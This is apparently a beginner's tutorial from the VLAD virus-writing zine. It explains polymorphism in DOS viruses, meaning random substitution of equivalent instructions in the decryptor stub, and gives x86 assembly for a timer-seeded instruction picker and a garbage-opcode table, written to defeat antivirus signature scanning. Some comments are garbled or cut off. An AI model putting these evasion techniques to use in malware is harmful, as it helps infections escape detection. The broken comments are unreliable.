Polymorphism is where the virus actually modifies it's code so that each
subsequent generation of the virus is functionally the same but physically
different. This works by replacing instructions with instructions that are
different but do the same thing. For example:
XOR BP,BP ;db 31h, 0edh
SUB BP,BP ;db 29h, 0edh
Both of these do exactly the same thing - zero BP. But the actual bytes
are different! Thus if these bytes are replaced with each other at random
it makes signature scanning impossible. This is very useful if used on the
stub (the code before the decryption) as this is the only non-variable
place in the virus. The overhead isn't much. Algorithmic scanning is the
only solution for the AV companies, but this is alot harder to do and makes
them work for their money. All scanners have their own inbuilt MTE, SMEG
and NED detectors but they are special additions.
Polymorphism is normally added by keeping a database of instructions
and selecting from these at random. The randomiser is almost always
related to the timer. There are two ways:
;8 bit random number
IN AL,40H ;Puts a random value in AL.
;40h is the timer port.
;16 bit random number
IN AX,40H ;Puts a random value in AX.
;Another random number
XOR AH,AH ;Puts a random value in DX.
INT 1AH ;1ah function 0 read system timer.
;This is basically the same as the
Then you can XOR the number or AND it to add more randomness.
The database is whatever you need, but for ease of programming a
power of two is best (2,4,8,16) with two byte instructions. Then you can
get your random number and AND off the bits you don't need. If you had
four random instructions to choose from you'd:
AND AX,3 ;3 = 00000011b
Which would leave it with only 4 possibilities.
The offset of your database is moved into a register and the random number
multiplied by two would be added to it (because the instructions are two
bytes long). Now you have your random instruction. All you do is simply
move it where it is needed and you're done!
Here is all that added together into some simple polymorphics:
IN AX,40H ;Random number in AX.
AND AX,3 ;Between 0-3.
SHL AX,1 ;Multiply by two because instructions
;are two bytes long.
MOV SI,OFFSET DATABASE ;SI points to start of database.
ADD SI,AX ;Add SI with AX the random offset.
MOV DI,OFFSET POLY1 ;Put the random instruction here.
MOVSW ;Move the instruction.
;Garbage 'do nothing' instructions.
DATABASE DB 2CH,0 ; = sub al,0
DB 89H,0C0H ; = mov ax,ax
DB 88H,0C9H ; = mov cl,cl
DB 21H,0D2H ; = and dx,dx
This is only simple stuff but thats why it's called a beginners lesson! As
you can see it doesn't take up too much code at all. MTE and NED are much
better but they take up 1000+ bytes! That's overdoing it!
Other places of use are in the encryptor. Random garbler bytes can add
thousands more variations to your virus than the normal 255. Randomise
the actual number of variable bytes put in and you can have a variable
length encryptor. The actual polymorphic routine should be kept inside the
encryption and called before the virus is written to file.
A few things to be aware of are that your databases must contain
instructions of the same length. You can have databases with three byte
instructions but you can't mix the lengths. Go through DEBUG and enter
the code to grab the bytes.
That was a short walk through of a fairly simple concept. I know there
aren't any polymorphic viruses included with this magazine but be assured
there will be next time! I hope someone has learnt something from this.
- VLAD #1 INDEX -